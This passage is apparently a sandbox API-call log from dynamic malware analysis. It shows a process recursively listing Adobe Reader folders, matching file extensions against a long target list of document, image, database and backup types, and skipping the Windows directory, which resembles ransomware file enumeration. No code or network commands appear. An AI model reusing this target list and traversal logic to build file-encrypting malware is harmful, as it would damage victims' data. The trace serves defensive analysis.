lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".der") returned 4 [0270.486] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dib") returned 4 [0270.486] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dic") returned 4 [0270.487] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".dif") returned 4 [0270.487] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".divx") returned 5 [0270.487] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".djvu") returned 5 [0270.487] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".dng") returned 4 [0270.487] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".doc") returned 4 [0270.487] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".docm") returned 5 [0270.487] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".docx") returned 5 [0270.487] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".dot") returned 4 [0270.487] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".dotm") returned 5 [0270.487] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".dotx") returned 5 [0270.487] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.487] lstrlenW (lpString=".dpx") returned 4 [0270.487] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.487] lstrlenW (lpString=".dqy") returned 4 [0270.487] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".dsn") returned 4 [0270.488] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".dt") returned 3 [0270.488] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.488] lstrlenW (lpString=".dtd") returned 4 [0270.488] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".dwg") returned 4 [0270.488] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".dwt") returned 4 [0270.488] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".dx") returned 3 [0270.488] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.488] lstrlenW (lpString=".dxf") returned 4 [0270.488] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".edml") returned 5 [0270.488] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.488] lstrlenW (lpString=".efd") returned 4 [0270.488] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".elf") returned 4 [0270.488] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".emf") returned 4 [0270.488] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".emz") returned 4 [0270.488] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".epf") returned 4 [0270.488] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.488] lstrlenW (lpString=".eps") returned 4 [0270.489] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.489] lstrlenW (lpString=".epsf") returned 5 [0270.489] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.489] lstrlenW (lpString=".epsp") returned 5 [0270.489] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.489] lstrlenW (lpString=".erf") returned 4 [0270.489] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.489] lstrlenW (lpString=".exr") returned 4 [0270.489] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.489] lstrlenW (lpString=".f4v") returned 4 [0270.489] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.489] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.489] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0270.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0270.491] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0270.491] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.492] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0270.493] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.493] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.493] lstrlenW (lpString="ui-strings.js") returned 13 [0270.493] lstrlenW (lpString=".1cd") returned 4 [0270.493] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.494] lstrlenW (lpString=".3ds") returned 4 [0270.494] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.494] lstrlenW (lpString=".3fr") returned 4 [0270.494] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.495] lstrlenW (lpString=".3g2") returned 4 [0270.495] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.495] lstrlenW (lpString=".3gp") returned 4 [0270.495] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.495] lstrlenW (lpString=".7z") returned 3 [0270.495] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.495] lstrlenW (lpString=".accda") returned 6 [0270.495] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".accdb") returned 6 [0270.495] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".accdc") returned 6 [0270.495] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".accde") returned 6 [0270.495] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".accdt") returned 6 [0270.495] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".accdw") returned 6 [0270.495] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.495] lstrlenW (lpString=".adb") returned 4 [0270.495] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".adp") returned 4 [0270.496] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai") returned 3 [0270.496] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.496] lstrlenW (lpString=".ai3") returned 4 [0270.496] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai4") returned 4 [0270.496] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai5") returned 4 [0270.496] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai6") returned 4 [0270.496] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai7") returned 4 [0270.496] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".ai8") returned 4 [0270.496] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".anim") returned 5 [0270.496] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.496] lstrlenW (lpString=".arw") returned 4 [0270.496] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.496] lstrlenW (lpString=".as") returned 3 [0270.496] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.496] lstrlenW (lpString=".asa") returned 4 [0270.497] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".asc") returned 4 [0270.497] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".ascx") returned 5 [0270.497] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.497] lstrlenW (lpString=".asm") returned 4 [0270.497] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".asmx") returned 5 [0270.497] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.497] lstrlenW (lpString=".asp") returned 4 [0270.497] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".aspx") returned 5 [0270.497] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.497] lstrlenW (lpString=".asr") returned 4 [0270.497] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".asx") returned 4 [0270.497] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".avi") returned 4 [0270.497] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".avs") returned 4 [0270.497] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.497] lstrlenW (lpString=".backup") returned 7 [0270.497] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.497] lstrlenW (lpString=".bak") returned 4 [0270.498] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".bay") returned 4 [0270.498] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".bd") returned 3 [0270.498] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.498] lstrlenW (lpString=".bin") returned 4 [0270.498] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".bmp") returned 4 [0270.498] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".bz2") returned 4 [0270.498] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".c") returned 2 [0270.498] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.498] lstrlenW (lpString=".cdr") returned 4 [0270.498] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".cer") returned 4 [0270.498] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".cf") returned 3 [0270.498] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.498] lstrlenW (lpString=".cfc") returned 4 [0270.498] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".cfm") returned 4 [0270.498] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.498] lstrlenW (lpString=".cfml") returned 5 [0270.498] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.499] lstrlenW (lpString=".cfu") returned 4 [0270.499] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".chm") returned 4 [0270.499] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".cin") returned 4 [0270.499] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".class") returned 6 [0270.499] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.499] lstrlenW (lpString=".clx") returned 4 [0270.499] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".config") returned 7 [0270.499] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.499] lstrlenW (lpString=".cpp") returned 4 [0270.499] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".cr2") returned 4 [0270.499] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".crt") returned 4 [0270.499] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".crw") returned 4 [0270.499] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".cs") returned 3 [0270.499] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.499] lstrlenW (lpString=".css") returned 4 [0270.499] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.499] lstrlenW (lpString=".csv") returned 4 [0270.499] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".cub") returned 4 [0270.500] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dae") returned 4 [0270.500] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dat") returned 4 [0270.500] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".db") returned 3 [0270.500] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.500] lstrlenW (lpString=".dbf") returned 4 [0270.500] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dbx") returned 4 [0270.500] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dc3") returned 4 [0270.500] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dcm") returned 4 [0270.500] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dcr") returned 4 [0270.500] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".der") returned 4 [0270.500] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dib") returned 4 [0270.500] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dic") returned 4 [0270.500] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".dif") returned 4 [0270.500] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.500] lstrlenW (lpString=".divx") returned 5 [0270.501] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".djvu") returned 5 [0270.501] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".dng") returned 4 [0270.501] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".doc") returned 4 [0270.501] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".docm") returned 5 [0270.501] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".docx") returned 5 [0270.501] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".dot") returned 4 [0270.501] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".dotm") returned 5 [0270.501] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".dotx") returned 5 [0270.501] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.501] lstrlenW (lpString=".dpx") returned 4 [0270.501] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".dqy") returned 4 [0270.501] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".dsn") returned 4 [0270.501] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.501] lstrlenW (lpString=".dt") returned 3 [0270.501] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.501] lstrlenW (lpString=".dtd") returned 4 [0270.501] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".dwg") returned 4 [0270.502] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".dwt") returned 4 [0270.502] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".dx") returned 3 [0270.502] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.502] lstrlenW (lpString=".dxf") returned 4 [0270.502] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".edml") returned 5 [0270.502] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.502] lstrlenW (lpString=".efd") returned 4 [0270.502] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".elf") returned 4 [0270.502] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".emf") returned 4 [0270.502] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".emz") returned 4 [0270.502] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".epf") returned 4 [0270.502] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".eps") returned 4 [0270.502] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.502] lstrlenW (lpString=".epsf") returned 5 [0270.502] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.502] lstrlenW (lpString=".epsp") returned 5 [0270.502] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.502] lstrlenW (lpString=".erf") returned 4 [0270.503] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".exr") returned 4 [0270.503] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".f4v") returned 4 [0270.503] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".fido") returned 5 [0270.503] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0270.503] lstrlenW (lpString=".flm") returned 4 [0270.503] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".flv") returned 4 [0270.503] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".frm") returned 4 [0270.503] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".fxg") returned 4 [0270.503] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".geo") returned 4 [0270.503] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".gif") returned 4 [0270.503] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".grs") returned 4 [0270.503] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.503] lstrlenW (lpString=".gz") returned 3 [0270.503] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.503] lstrlenW (lpString=".h") returned 2 [0270.503] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.503] lstrlenW (lpString=".hdr") returned 4 [0270.505] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".hpp") returned 4 [0270.505] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".hta") returned 4 [0270.505] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".htc") returned 4 [0270.505] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".htm") returned 4 [0270.505] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".html") returned 5 [0270.505] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.505] lstrlenW (lpString=".icb") returned 4 [0270.505] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".ics") returned 4 [0270.505] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".iff") returned 4 [0270.505] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".inc") returned 4 [0270.505] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.505] lstrlenW (lpString=".indd") returned 5 [0270.505] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.506] lstrlenW (lpString=".ini") returned 4 [0270.506] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".iqy") returned 4 [0270.506] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".j2c") returned 4 [0270.506] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".j2k") returned 4 [0270.506] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".java") returned 5 [0270.506] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.506] lstrlenW (lpString=".jp2") returned 4 [0270.506] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".jpc") returned 4 [0270.506] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".jpe") returned 4 [0270.506] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".jpeg") returned 5 [0270.506] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.506] lstrlenW (lpString=".jpf") returned 4 [0270.506] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.506] lstrlenW (lpString=".jpg") returned 4 [0270.507] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.507] lstrlenW (lpString=".jpx") returned 4 [0270.507] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.507] lstrlenW (lpString=".js") returned 3 [0270.507] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.507] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.507] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0270.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.507] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0270.507] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 119 [0270.507] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 1 [0270.508] lstrlenW (lpString="en-il") returned 5 [0270.508] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0270.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.508] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 119 [0270.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0270.509] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", 